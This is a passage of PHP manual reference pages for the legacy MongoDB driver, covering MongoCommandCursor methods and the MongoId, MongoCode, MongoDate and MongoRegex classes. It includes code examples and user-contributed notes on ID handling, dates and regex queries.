Returns the namespace, limit, skip, query, fields, connection and iteration information for this cursor.

Examples

Example #1 MongoCommandCursor::info() example

<?php
$m = new MongoClient();
$c = $m->test->test;
$cursor = $c->commandCursor( [
    'aggregate' => 'test',
    'pipeline' => [
        [ '$match' => [ '_id' => [ '$exists' => true ] ] ],
    ]
] );

echo "Before iteration started:\n";
var_dump($cursor->info());

echo "Aftere iteration started:\n";
$cursor->rewind();
var_dump($cursor->info());

?>

The above example will output something similar to:

Before iteration started:
array(8) {
  'ns' =>
  string(9) "test.test"
  'limit' =>
  int(0)
  'batchSize' =>
  int(0)
  'skip' =>
  int(0)
  'flags' =>
  int(0)
  'query' =>
  array(2) {
    'aggregate' =>
    string(4) "test"
    'pipeline' =>
    array(1) {
      [0] =>
      array(1) {
        '$match' =>
        array(1) {
          '_id' =>
          array(1) {
            '$exists' =>
            bool(true)
          }
        }
      }
    }
  }
  'fields' =>
  NULL
  'started_iterating' =>
  bool(false)
}
Aftere iteration started:
array(17) {
  'ns' =>
  string(9) "test.test"
  'limit' =>
  int(0)
  'batchSize' =>
  int(101)
  'skip' =>
  int(0)
  'flags' =>
  int(0)
  'query' =>
  array(3) {
    'aggregate' =>
    string(4) "test"
    'pipeline' =>
    array(1) {
      [0] =>
      array(1) {
        '$match' =>
        array(1) {
          '_id' =>
          array(1) {
            '$exists' =>
            bool(true)
          }
        }
      }
    }
    'cursor' =>
    array(1) {
      'batchSize' =>
      int(101)
    }
  }
  'fields' =>
  NULL
  'started_iterating' =>
  bool(true)
  'id' =>
  int(0)
  'at' =>
  int(0)
  'numReturned' =>
  int(0)
  'server' =>
  string(24) "localhost:27017;-;.;2316"
  'host' =>
  string(9) "localhost"
  'port' =>
  int(27017)
  'connection_type_desc' =>
  string(10) "STANDALONE"
  'firstBatchAt' =>
  int(0)
  'firstBatchNumReturned' =>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's _id

  • « MongoCommandCursor::info
  • MongoCommandCursor::next »
  • PHP Manual
  • MongoCommandCursor
  • Returns the current result's _id

MongoCommandCursor::key

(PECL mongo >=1.5.0)

MongoCommandCursor::key — Returns the current result's _id

Description

public string MongoCommandCursor::key ( void )

Parameters

This function has no parameters.

Return Values

The current result's _id as a string.

User Contributed Notes

There are no user contributed notes for this page.


Advances the cursor to the next result

  • « MongoCommandCursor::key
  • MongoCommandCursor::rewind »
  • PHP Manual
  • MongoCommandCursor
  • Advances the cursor to the next result

MongoCommandCursor::next

(PECL mongo >=1.5.0)

MongoCommandCursor::next — Advances the cursor to the next result

Description

public void MongoCommandCursor::next ( void )

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCommandCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


Executes the command and resets the cursor to the start of the result set

  • « MongoCommandCursor::next
  • MongoCommandCursor::valid »
  • PHP Manual
  • MongoCommandCursor
  • Executes the command and resets the cursor to the start of the result set

MongoCommandCursor::rewind

(PECL mongo >=1.5.0)

MongoCommandCursor::rewind — Executes the command and resets the cursor to the start of the result set

Description

public array MongoCommandCursor::rewind ( void )

Parameters

This function has no parameters.

Return Values

The raw server result document.

array(2) {
["cursor"]=>
array(3) {
["id"]=>
object(MongoInt64)#5 (1) {
["value"]=>
string(12) "310050110216"
}
["ns"]=>
string(9) "demo.test"
["firstBatch"]=>
array(1) {
[0]=>
array(2) {
["_id"]=>
object(MongoId)#6 (1) {
["$id"]=>
string(24) "52f5691544670a8077b0dc51"
}
["value"]=>
string(2) "42"
}
}
}
["ok"]=>
float(1)
}

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCommandCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


Fetches a new result item, and returns whether it could

  • « MongoCommandCursor::rewind
  • Types »
  • PHP Manual
  • MongoCommandCursor
  • Fetches a new result item, and returns whether it could

MongoCommandCursor::valid

(PECL mongo >=1.5.0)

MongoCommandCursor::valid — Fetches a new result item, and returns whether it could

Description

public bool MongoCommandCursor::valid ( void )

Parameters

This function has no parameters.

Return Values

TRUE if a next item could be returned, and FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Types

Table of Contents

  • MongoId
  • MongoCode
  • MongoDate
  • MongoRegex
  • MongoBinData
  • MongoInt32
  • MongoInt64
  • MongoDBRef
  • MongoMinKey
  • MongoMaxKey
  • MongoTimestamp

MongoDB allows programmers to save and query for data expressed in all of the basic PHP types, compound types (arrays, associative arrays, and objects), and a half-dozen classes provided by the MongoDB PHP driver (for regular expressions, dates, and other specialized applications).

Booleans and NULL

TRUE, FALSE, and NULL can be used as-is.

Numbers

Numbers are distinct from strings in MongoDB: "123" does not match 123. Thus, if you want to make sure numbers are sorted and matched correctly, you must make sure that they are actually saved as numbers.

<?php

$doc = array("a" => 123, "b" => "123");
$collection->insert($doc);

$doc->find(array("a" => 123));   // matches
$doc->find(array("a" => "123")); // doesn't match
$doc->find(array("a" => 123.0)); // matches
$doc->find(array("b" => 123));   // doesn't match
$doc->find(array("b" => "123")); // matches

?>

As noted above, floating point numbers do compare with/match integer numbers as one would expect.

Large Numbers

By default, on a 32-bit system, numbers are sent to the database as 32-bit integers. On a 64-bit system, they are sent as 64-bit integers. For backwards compatibility, all systems deserialize 64-bit integers as floating point numbers. Floating point numbers are not exact. If you need exact values, you must tweak your » php.ini settings.

On a 32-bit system, if mongo.long_as_object is set, 64-bit integers will be returns as MongoInt64 objects. The integer will be stored in the value field with perfect precision (as a string). You can also use MongoInt64 to save 64-bit integers on 32-bit machines.

On 64-bit systems, you can either set mongo.long_as_object or set mongo.native_long. mongo.native_long will return 64-bit integers and "normal" PHP integers. You can use MongoInt32 to save 32-bit integers on 64-bit machines.

You should set the mongo.long_as_object and mongo.native_long behavior that you plan to use, even if it is the default behavior (to protect against future changes to the defaults).

See also: » php.ini Options, MongoInt32, MongoInt64.

Strings

Strings must be UTF-8. Non-UTF-8 strings must either be converted to UTF-8 before being sent to the database or saved as binary data.

Regular expressions can be used to match strings, and are expressed using the MongoRegex class.

Binary Data

Non-UTF-8 strings, images, and any other binary data should be sent to the database using the MongoBinData type.

Dates

Dates can be created using the MongoDate class. They are stored as milliseconds since the epoch.

MongoTimestamp is not for saving dates or timestamps, it is used internally by MongoDB. Unless you are creating a tool that interacts with the internals of replication or sharding, you should use MongoDate, not MongoTimestamp.

Unique Ids

The driver will automatically create an _id field before inserting a document (unless one is specified by the user). This field is an instance of MongoId (called "ObjectId" in most other languages).

These ids are 12 bytes long and composed of:

  • 4 bytes of timestamp

    No two records can have the same id if they were inserted at different times.

  • 3 bytes machine id

    No two records can have the same id if they were inserted on different machines

  • 2 bytes thread id

    No two records can have the same id if they were inserted by different threads running on the same machine.

  • 3 bytes incrementing value

    Each time an id is created, a global counter is incremented and used as the increment value of the next id.

Thus, no two records can have the same id unless a single process on a single machine managed to insert 256^3 (over 16 million) documents in one second, overflowing the increment field.

JavaScript

MongoDB comes with a JavaScript engine, so you can embed JavaScript in queries (using a $where clause), send it directly to the database to be executed, and use it to perform aggregations.

For security, use MongoCode's scope field to use PHP variables in JavaScript. Code that does not require external values can either use MongoCode or just be a string. See the » section on security for more information about sending JavaScript to the database.

Arrays and Objects

Arrays and objects can also be saved to the database. An array with ascending numeric keys will be saved as a an array, anything else will be saved as an object.

<?php

// $scores will be saved as an array
$scores = array(98, 100, 73, 85);
$collection->insert(array("scores" => $scores));

// $scores will be saved as an object
$scores = array("quiz1" => 98, "midterm" => 100, "quiz2" => 73, "final" => 85);
$collection->insert(array("scores" => $scores));

?>

If you query for these objects using the database shell, they will look like:

> db.students.find()
{ "_id" : ObjectId("4b06beada9ad6390dab17c43"), "scores" : [ 98, 100, 73, 85 ] }
{ "_id" : ObjectId("4b06bebea9ad6390dab17c44"), "scores" : { "quiz1" : 98, "midterm" : 100, "quiz2" : 73, "final" : 85 } }

The database can also save arbitrary PHP objects (although they will be returned as associative arrays). The fields are used for the key/value pairs. For example, a blog post might look like:

<?php

  // the blog post class
  class Post {

  var $author;
  var $content;
  var $comments = array();
  var $date;

  public function __construct($author, $content) {
  $this->author = $author;
$this->content = $content;
    $this->date = new MongoDate();
  }

  public function setTitle($title) {
    $this->title = $title;
  }
}

// create a simple blog post and insert it into the database
$post1 = new Post("Adam", "This is a blog post");

$blog->insert($post1);

// there is nothing restricting the type of the "author" field, so we can make
// it a nested object
$author = array("name" => "Fred", "karma" => 42);
$post2 = new Post($author, "This is another blog post.");

// we create an extra field by setting the title
$post2->setTitle("Second Post");

$blog->insert($post2);

?>

From the database shell, this will look something like:

> db.blog.find()
{ "_id" : ObjectId("4b06c263edb87a281e09dad8"), "author" : "Adam", "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:22:59 GMT-0500 (EST)" }
{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "author" : { "name" : "Fred", "karma" : 42 }, "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:23:30 GMT-0500 (EST)", "title" : "Second Post" }

The driver will not detect reference loops in arrays and objects. For example, this will give a fatal error:

<?php

$collection->insert($GLOBALS);

?>
Fatal error: Nesting level too deep - recursive dependency?
If you need to insert documents that may have recursive dependency, you have to check for it yourself before passing it to the driver.

User Contributed Notes

Jay Paroline 25-Aug-2010 11:33
With pecl version 1.0.9 of this driver, you can force long support by adding this to your php.ini:

mongo.native_long = 1

see:
http://jira.mongodb.org/browse/PHP-138
and
http://derickrethans.nl/64bit-ints-in-mongodb.html


The MongoId class

(PECL mongo >=0.8.0)

Introduction

A unique identifier created for database objects. If an object is inserted into the database without an _id field, an _id field will be added to it with a MongoId instance as its value. If the data has a naturally occuring unique field (e.g. username or timestamp) it is fine to use this as the _id field instead, and it will not be replaced with a MongoId.

Instances of the MongoId class fulfill the role that autoincrementing does in a relational database: to provide a unique key if the data does not natually have one. Autoincrementing does not work well with a sharded database, as it is difficult to determine the next number in the sequence. This class fulfills the constraints of quickly generating a value that is unique across shards.

Each MongoId is 12 bytes (making its string form 24 hexadecimal characters). The first four bytes are a timestamp, the next three are a hash of the client machine's hostname, the next two are the two least significant bytes of the process id running the script, and the last three bytes are an incrementing value.

MongoIds are serializable/unserializable. Their serialized form is similar to their string form:

C:7:"MongoId":24:{4af9f23d8ead0e1d32000000}

Class synopsis

MongoId {
public string $$id = NULL ;
/* Methods */
public __construct ([ string $id = NULL ] )
public static string getHostname ( void )
public int getInc ( void )
public int getPID ( void )
public int getTimestamp ( void )
public static bool isValid ( mixed $value )
public static MongoId __set_state ( array $props )
public string __toString ( void )
}

Fields

$id
This field contains the string representation of this object.

Note: The property name begins with a $ character. It may be accessed using complex variable parsed syntax (e.g. $mongoId->{'$id'}).

See Also

MongoDB core docs on » ObjectIds.

Table of Contents

  • MongoId::__construct — Creates a new id
  • MongoId::getHostname — Gets the hostname being used for this machine's ids
  • MongoId::getInc — Gets the incremented value to create this id
  • MongoId::getPID — Gets the process ID
  • MongoId::getTimestamp — Gets the number of seconds since the epoch that this id was created
  • MongoId::isValid — Check if a value is a valid ObjectId
  • MongoId::__set_state — Create a dummy MongoId
  • MongoId::__toString — Returns a hexidecimal representation of this id

User Contributed Notes

Lionel 08-Jul-2013 10:51
Just to be careful with the strict comparison. Object inequalities holds.

<?php

$m1 = new MongoId('51b14c2de8e185801f000006');
$m2 = new MongoId('51b14c2de8e185801f000006');

var_dump($m1 === $m2); //gives you boolean false
var_dump($m1 == $m2); //gives you boolean true

$m3 = new MongoId('51b14c2de8e185801f000006');
$m4 = new MongoId('51b14c2de8e185801f000007');

var_dump($m3 === $m4); //gives you boolean false
var_dump($m3 == $m4); //gives you boolean false

?>
georgedot dont spam me gmail caom 03-Jul-2013 04:29
Due to Recent changes.

* [PHP-554] - MongoId should not get constructed when passing in an invalid ID.

Constructor will throw an exception when passing invalid ID.

<?php

$_id = new MongoId(); //Generates new ID
$_id = new MongoId(null); //Generates new ID

$_id = new MongoId("invalid id"); //throws MongoException

?>

<?php
//Revert to old behaviour
$_id = "invalid id";
try {
    $_id = new MongoId($_id);
} catch (MongoException $ex) {
    $_id = new MongoId();
}
?>

<?php
//Nifty hack
class SafeMongoId extends MongoId {

    public function __construct($id=null) {

        try {
            parent::__construct($id);
        } catch (MongoException $ex) {
            parent::__construct(null);
        }

    }
}
?>
Ryan S 06-Dec-2012 02:46
it is important to note that

<?php
    array("_id" => new MongoId("50cf7d2841d41f4f35000000"))
//                   ≠
    array("_id" => array("$id" => "50cf7d2841d41f4f35000000"))
?>

This issue can arrise when using json_encode() and json_decode(). If not paying close enough attention one can assume due to the encoded value of the object that it is just this simple:

<?php
    $item = $db->myCollection->findOne();
    print json_encode($item);
    // {"_id": {"$id": "50cf7d2841d41f4f35000000"}}
    $item = $db->myCollection->findOne(json_encode($item));
    // $item is empty aka not found
?>

Simple solution to handle these situations:

<?php
    class MongoId2 extends MongoId {
        public function __construct($id = null) {
            if(is_array($id)) {
                $id = (object) $id;
            }

            if(is_object($id) && isset($id->{'$id'})) {
                $id = $id->{'$id'};
            }

            return parent::__construct($id);
        }
    }
?>
rmarscher 13-Oct-2012 12:11
You can also cast the id to a string rather than access the $id property to get a string representation of the MongoId.

<?php
$stringId = (string) $mongoId;
?>
alex dot turpin at gmail dot com 11-Jul-2011 06:15
If you need to get the actual ID string, and you try the usual way, PHP will whine because it starts with a dollar sign and it thinks it's a variable. Instead, use this notation:

<?php
    $mongoid->{'$id'} //Get the $id property of a MongoId object
?>
sararschreiber at gmail dot com 12-Oct-2010 09:23
this is useful for querying for an object by id, given the id's hex:

<?php
$userid = '4cb4ab6d7addf98506010000';

$theObjId = new MongoId($userid);

$connection = new Mongo();
$db = $connection->thedb->users;

// this will return our matching entry.
$item = $db->findOne(array("_id" => $theObjId));

$connection->close();

?>


Creates a new id

  • « MongoId
  • MongoId::getHostname »
  • PHP Manual
  • MongoId
  • Creates a new id

MongoId::__construct

(PECL mongo >= 0.8.0)

MongoId::__construct — Creates a new id

Description

public MongoId::__construct ([ string $id = NULL ] )

Parameters

id

A string to use as the id. Must be 24 hexidecimal characters.

Return Values

Returns a new id.

Changelog

Version | Description
1.4.0 | An exception is thrown when passed invalid string

Examples

Example #1 MongoId::__construct() example

This example shows how to create a new id. This is seldom necessary, as the driver adds an id to arrays automatically before storing them in the database.

<?php

  $id1 = new MongoId();
  echo "$id1\n";

  $id2 = new MongoId();
  echo "$id2\n";

  ?>

The above example will output something similar to:

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

Example #2 Parameter example

This example shows how to use a string parameter to initialize a MongoId with a given value.

<?php
  $id1 = new MongoId();

  // create a new id from $id1
  $id2 = new MongoId("$id1");

  // show that $id1 and $id2 have the same hexidecimal value
  var_dump($id1 == $id2);
  ?>

The above example will output something similar to:

bool(true)

See Also

  • MongoId::__toString() - Returns a hexidecimal representation of this id
  • MongoId::isvalid() - Check if a value is a valid ObjectId

User Contributed Notes

georgedot nospam gmail guess what com 14-Jun-2013 06:51
Due to Recent changes.

* [PHP-554] - MongoId should not get constructed when passing in an invalid ID.

Constructor will throw an exception when passing invalid ID.

<?php

$_id = new MongoId(); //Generates new ID
$_id = new MongoId(null); //Generates new ID

$_id = new MongoId("invalid id"); //throws MongoException

?>

<?php
//Revert to old behaviour
$_id = "invalid id";
try {
    $_id = new MongoId($_id);
} catch (MongoException $ex) {
    $_id = new MongoId();
}
?>

<?php
//Nifty hack
class SafeMongoId extends MongoId {

    public function __construct($id=null) {

        try {
            parent::__construct($id);
        } catch (MongoException $ex) {
            parent::__construct(null);
        }

    }
}
?>


Gets the hostname being used for this machine's ids

  • « MongoId::__construct
  • MongoId::getInc »
  • PHP Manual
  • MongoId
  • Gets the hostname being used for this machine's ids

MongoId::getHostname

(PECL mongo >= 1.0.8)

MongoId::getHostname — Gets the hostname being used for this machine's ids

Description

public static string MongoId::getHostname ( void )

This returns the hostname MongoId is using to generate unique ids. This should be the same value gethostname() returns.

It is identical to the function:

<?php

public static function getHostname() {
    return gethostname();
}

?>

Parameters

This function has no parameters.

Return Values

Returns the hostname.

User Contributed Notes

There are no user contributed notes for this page.


Gets the incremented value to create this id

  • « MongoId::getHostname
  • MongoId::getPID »
  • PHP Manual
  • MongoId
  • Gets the incremented value to create this id

MongoId::getInc

(PECL mongo >= 1.0.11)

MongoId::getInc — Gets the incremented value to create this id

Description

public int MongoId::getInc ( void )

Parameters

This function has no parameters.

Return Values

Returns the incremented value used to create this MongoId.

User Contributed Notes

There are no user contributed notes for this page.


Gets the process ID

  • « MongoId::getInc
  • MongoId::getTimestamp »
  • PHP Manual
  • MongoId
  • Gets the process ID

MongoId::getPID

(PECL mongo >= 1.0.11)

MongoId::getPID — Gets the process ID

Description

public int MongoId::getPID ( void )

Extracts the pid from the Mongo ID

Parameters

This function has no parameters.

Return Values

Returns the PID of the MongoId.

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of seconds since the epoch that this id was created

  • « MongoId::getPID
  • MongoId::isValid »
  • PHP Manual
  • MongoId
  • Gets the number of seconds since the epoch that this id was created

MongoId::getTimestamp

(PECL mongo >= 1.0.1)

MongoId::getTimestamp — Gets the number of seconds since the epoch that this id was created

Description

public int MongoId::getTimestamp ( void )

This returns the same thing as running time() when the id is created.

Parameters

This function has no parameters.

Return Values

Returns the number of seconds since the epoch that this id was created. There are only four bytes of timestamp stored, so MongoDate is a better choice for storing exact or wide-ranging times.

User Contributed Notes

There are no user contributed notes for this page.


Check if a value is a valid ObjectId

  • « MongoId::getTimestamp
  • MongoId::__set_state »
  • PHP Manual
  • MongoId
  • Check if a value is a valid ObjectId

MongoId::isValid

(PECL mongo >= 1.5.0)

MongoId::isValid — Check if a value is a valid ObjectId

Description

public static bool MongoId::isValid ( mixed $value )

This method may be used to check a variable before passing it as an argument to MongoId::__construct().

Parameters

value

The value to check for validity.

Return Values

Returns TRUE if value is a MongoId instance or a string consisting of exactly 24 hexadecimal characters; otherwise, FALSE is returned.

User Contributed Notes

There are no user contributed notes for this page.


Create a dummy MongoId

  • « MongoId::isValid
  • MongoId::__toString »
  • PHP Manual
  • MongoId
  • Create a dummy MongoId

MongoId::__set_state

(PECL mongo >= 1.0.8)

MongoId::__set_state — Create a dummy MongoId

Description

public static MongoId MongoId::__set_state ( array $props )

This function is only used by PHP internally, it shouldn't need to ever be called by the user.

It is identical to the function:

<?php

public static function __set_state($props) {
    return new MongoId("000000000000000000000000");
}

?>

Parameters

props

Theoretically, an array of properties used to create the new id. However, as MongoId instances have no properties, this is not used.

Return Values

A new id with the value "000000000000000000000000".

User Contributed Notes

There are no user contributed notes for this page.


Returns a hexidecimal representation of this id

  • « MongoId::__set_state
  • MongoCode »
  • PHP Manual
  • MongoId
  • Returns a hexidecimal representation of this id

MongoId::__toString

(PECL mongo >= 0.8.0)

MongoId::__toString — Returns a hexidecimal representation of this id

Description

public string MongoId::__toString ( void )

Parameters

This function has no parameters.

Return Values

This id.

Examples

Example #1 MongoId::__toString() example

<?php

$m = new MongoClient();
$collection = $m->selectDB("foo")->selectCollection("bar");

$collection->insert(array( "x" => "y" ));
$collection->insert(array( "x" => "y" ));

$cursor = $collection->find();
$r1 = $cursor->next();
$r2 = $cursor->next();

echo $r1["_id"] . "\n";
echo $r2["_id"] . "\n";

?>

The above example will output something similar to:

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

User Contributed Notes

There are no user contributed notes for this page.


The MongoCode class

(PECL mongo >=0.8.3)

Introduction

Represents JavaScript code for the database.

MongoCode objects are composed of two parts: a string of code and an optional scope. The string of code must be valid JavaScript. The scope is a associative array of variable name/value pairs.

Class synopsis

MongoCode {
/* Methods */
public __construct ( string $code [, array $scope = array() ] )
public string __toString ( void )
}

Table of Contents

  • MongoCode::__construct — Creates a new code object
  • MongoCode::__toString — Returns this code as a string

User Contributed Notes

There are no user contributed notes for this page.


Creates a new code object

  • « MongoCode
  • MongoCode::__toString »
  • PHP Manual
  • MongoCode
  • Creates a new code object

MongoCode::__construct

(PECL mongo >= 0.8.3)

MongoCode::__construct — Creates a new code object

Description

public MongoCode::__construct ( string $code [, array $scope = array() ] )

Parameters

code

A string of code.

scope

The scope to use for the code.

Return Values

Returns a new code object.

Examples

Example #1 MongoCode::__construct() example

<?php

$code = new MongoCode('function() { '.
    'for(i=0;i<10;i++) {'.
        'db.foo.update({z : i}, {z : x});'.
    '}'.
    'return x-1;'.
 '}', array("x" => 4));
var_dump($code);

?>

The above example will output something similar to:

object(MongoCode)#1 (2) {
  ["scope"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["code"]=>
  string(80) "function() { for(i=0;i<10;i++) { db.foo.update({z : i}, {z : x}); } return x-1; }"
}

Example #2 Using MongoCode with $where

This example queries a collection for elements where the 'x' fields is less than $y. Notice that PHP objects can be passed into the JavaScript scope and that the JavaScript function returns a boolean.

<?php

$cursor = $collection->find(array('$where' => new MongoCode('function() { return this.x < y; }', array('y'=>$y))));

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns this code as a string

  • « MongoCode::__construct
  • MongoDate »
  • PHP Manual
  • MongoCode
  • Returns this code as a string

MongoCode::__toString

(PECL mongo >= 0.8.3)

MongoCode::__toString — Returns this code as a string

Description

public string MongoCode::__toString ( void )

Parameters

This function has no parameters.

Return Values

This code, the scope is not returned.

Examples

Example #1 MongoCode::__toString() example

<?php

$code = new MongoCode('return x;', array("x"=>"hi"));
echo "$code\n";

$code = new MongoCode('function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }');
echo "$code\n";

?>

The above example will output something similar to:

return x;
function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }

User Contributed Notes

There are no user contributed notes for this page.


The MongoDate class

(PECL mongo >=0.8.1)

Introduction

Represent date objects for the database. This class should be used to save dates to the database and to query for dates. For example:

Example #1 Storing dates with MongoDate

<?php

// save a date to the database
$collection->save(array("ts" => new MongoDate()));

$start = new MongoDate(strtotime("2010-01-15 00:00:00"));
$end = new MongoDate(strtotime("2010-01-30 00:00:00"));

// find dates between 1/15/2010 and 1/30/2010
$collection->find(array("ts" => array('$gt' => $start, '$lte' => $end)));

?>

MongoDB stores dates as milliseconds past the epoch. This means that dates do not contain timezone information. Timezones must be stored in a separate field if needed. Second, this means that any precision beyond milliseconds will be lost when the document is sent to/from the database.

Class synopsis

MongoDate {
/* Fields */
public int $sec ;
public int $usec ;
/* Methods */
public __construct ([ int $sec = time() [, int $usec = 0 ]] )
public string __toString ( void )
}

Table of Contents

  • MongoDate::__construct — Creates a new date.
  • MongoDate::__toString — Returns a string representation of this date

User Contributed Notes

richard at securebucket dot com 18-Feb-2012 12:32
I wanted a way to check the age of a record.  This code will calculate the time between the creation date of the record, and return the seconds.  I use it for caching pages similar to the max-age header in a browser.  If the record is older, than my limit it deletes itself.

<?php
function microtime_diff( $start, $end=NULL ) {
        if( !$end ) {
            $end= microtime();
        }
        list($start_usec, $start_sec) = explode(" ", $start);
        list($end_usec, $end_sec) = explode(" ", $end);
        $diff_sec= intval($end_sec) - intval($start_sec);
        $diff_usec= floatval($end_usec) - floatval($start_usec);
        return floatval( $diff_sec ) + $diff_usec;
}

microtime_diff($cache['stamp']->sec);
?>
jhonnydcano at yahoo dot com 15-Mar-2010 08:43
For showing a human readable MongoDate, you can use something like this:

<?php
date('Y-M-d h:i:s', $yourDate->sec);
?>


Creates a new date.

  • « MongoDate
  • MongoDate::__toString »
  • PHP Manual
  • MongoDate
  • Creates a new date.

MongoDate::__construct

(PECL mongo >= 0.8.1)

MongoDate::__construct — Creates a new date.

Description

public MongoDate::__construct ([ int $sec = time() [, int $usec = 0 ]] )

Creates a new date. If no parameters are given, the current time is used.

Parameters

sec

Number of seconds since January 1st, 1970.

usec

Microseconds. Please be aware though that MongoDB's resolution is milliseconds and not microseconds, which means this value will be truncated to millisecond resolution.

Return Values

Returns this new date.

Examples

Example #1 MongoDate::__construct() example

This example demonstrates creating a new date with the current time and a new date with a given time.

<?php

$d = new MongoDate();
echo "$d\n";
$d = new MongoDate(1234567890);
echo "$d\n";
$d = new MongoDate(strtotime("2009-05-01 00:00:01"));
echo "$d\n";

?>

The above example will output something similar to:

0.23660600 1235685067
0.00000000 1234567890
0.00000000 1241150401

See Also

  • MongoDate::__toString() - Returns a string representation of this date

User Contributed Notes

gb at tekkie dot ro 23-Sep-2013 12:12
Please note that the second parameter should be a microseconds value, not a miliseconds one, as stated in the documentation.

I am using the code below to show you what I mean:
<?php
    $example = new \DateTime('2013-09-22T10:41:44.451999');
    $seconds = $example->getTimestamp();

    // this is what documentation misleads you to think is needed
    $miliseconds = floor($example->format('u') / 1000);

    // this is what you should really use
    $microseconds = $example->format('u');
    $fullToString = $example->format('Y-m-d\TH:i:s.uP');

    $collection->insert(array(
        'timeMicroseconds' => new \MongoDate($seconds, $microseconds),
        'toString' => $fullToString,
    ));
    $collection->insert(array(
        'timeMiliseconds' => new \MongoDate($seconds, $miliseconds),
        'toString' => $fullToString,
    ));
?>

Let's take a look in the database to see what is really stored:
{
    "_id" : ObjectId("523f07cfc2b581eb7f069b1d"),
    "timeMicroseconds" : ISODate("2013-09-22T07:41:44.451Z"),
    "toString" : "2013-09-22T10:41:44.451999+03:00"
}

{
    "_id" : ObjectId("523f07cfc2b581eb7f069b1e"),
    "timeMiliseconds" : ISODate("2013-09-22T07:41:44.000Z"),
    "toString" : "2013-09-22T10:41:44.451999+03:00"
}


Returns a string representation of this date

  • « MongoDate::__construct
  • MongoRegex »
  • PHP Manual
  • MongoDate
  • Returns a string representation of this date

MongoDate::__toString

(PECL mongo >= 0.8.1)

MongoDate::__toString — Returns a string representation of this date

Description

public string MongoDate::__toString ( void )

Returns a string representation of this date, similar to the representation returned by microtime().

Parameters

This function has no parameters.

Return Values

This date.

User Contributed Notes

There are no user contributed notes for this page.


The MongoRegex class

(PECL mongo >=0.8.1)

Introduction

This class can be used to create regular expressions. Typically, these expressions will be used to query the database and find matching strings. More unusually, they can be saved to the database and retrieved.

Regular expressions consist of four parts. First a / as starting delimiter, then the pattern, another / and finally a string containing flags.

Example #1 Regular expression pattern

/pattern/flags

MongoDB recognizes six regular expression flags:

  • i: Case insensitive

  • m: Multiline

  • x: Can contain comments

  • l: locale

  • s: dotall, "." matches everything, including newlines

  • u: match unicode

Class synopsis

MongoRegex {
/* Fields */
public string $regex ;
public string $flags ;
/* Methods */
public __construct ( string $regex )
public string __toString ( void )
}

Table of Contents

  • MongoRegex::__construct — Creates a new regular expression
  • MongoRegex::__toString — A string representation of this regular expression

User Contributed Notes

thusitha555 at gmail dot com 27-Oct-2014 03:36
here is an example for case insensitive search.If there are two fields (user_name/company_name) in collection;
<?php
$search_string='baR';
$searchQuery = array(
            '$or' => array(
                array(
                    'user_name' => new MongoRegex("/^$search_string/i"),
                    ),
                array(
                    'company_name' => new MongoRegex("/^$search_string/i"),
                    ),
                )
            );

$cursor = $customers->find($searchQuery);
?>
vinicius at codemakers dot com dot br 25-Dec-2013 12:17
/*
 Use the "i" option to make searches with Case Insensitive
 Find results beginning with $q
 */

$search = "V";

// Case Sensitive

$where = array('name' => array('$regex' => new MongoRegex("/^$search/")));
$cursor = $collection->find($where);

//Case Insensitive

$where = array('name' => array('$regex' => new MongoRegex("/^$search/i")));
$cursor = $collection->find($where);
benyounes dot ousama at gmail dot com 19-Nov-2010 06:49
First you must declare and define your regexObj
Here I am looking for all entry of my database wich is like "%Nicolas%" and the /i param is used for Insensitive Case
 $regexObj = new MongoRegex("/^Nicolas/i");

<?php
// I attach the regexObj to my Where Condition
 $where = array("ctname" => $regexObj);

// Execute the request
 $resultset = $this->db->Infos->find($where);

// Parsing the results
 while ($resultset->hasNext())
 {
         $clientObj = $resultset->getNext();
          echo "Client Name: ".$clientObj["cname"]."</br>";
 }
?>


Creates a new regular expression

  • « MongoRegex
  • MongoRegex::__toString »
  • PHP Manual
  • MongoRegex
  • Creates a new regular expression

MongoRegex::__construct

(PECL mongo >= 0.8.1)

MongoRegex::__construct — Creates a new regular expression

Description

public MongoRegex::__construct ( string $regex )

Creates a new regular expression.

Parameters

regex

Regular expression string of the form /expr/flags.

Return Values

Returns a new regular expression.

Examples

Example #1 MongoRegex::__construct() example

This example uses a regular expression to query for all documents with a username field starting (^) with an l and a vowel ([aeiouy]), case-insensitive (/i).

<?php
$luke_search = new MongoRegex("/^l[aeiouy]/i");
$cursor = $collection->find(array("username" => $luke_search));
?>

See Also

  • MongoRegex::__toString() - A string representation of this regular expression

User Contributed Notes

calimero at creatixnet dot com 16-May-2012 06:44
AFAICT, as of PHP 5.3.6, this function doesn't work correctly with any delimiter character other than plain slash (/), which is annoying if your pattern looks like a URL or file path for example (which itself may contain slashes you'll have to escape).

One can make use of the print_r($your_mongoregex_object) statement to ensure the pattern is recognized properly.


A string representation of this regular expression

  • « MongoRegex::__construct
  • MongoBinData »
  • PHP Manual
  • MongoRegex
  • A string representation of this regular expression

MongoRegex::__toString

(PECL mongo >= 0.8.1)

MongoRegex::__toString — A string representation of this regular expression

Description

public string MongoRegex::__toString ( void )

Returns a string representation of this regular expression.

Parameters

This function has no parameters.

Return Values

This regular expression in the form "/expr/flags".

Examples

Example #1 MongoRegex::__toString() example

<?php

$r = new MongoRegex( "/[a-fA-F0-9]{16}/g" );
echo $r->regex . "\n";
echo $r->flags . "\n";
echo "$r\n";

?>

The above example will output something similar to:

[a-fA-F0-9]{16}
g
/[a-fA-F0-9]{16}/g

User Contributed Notes

There are no user contributed notes for this page.


The MongoBinData class

(PECL mongo >= 0.8.1)

Introduction

An object that can be used to store or retrieve binary data from the database.

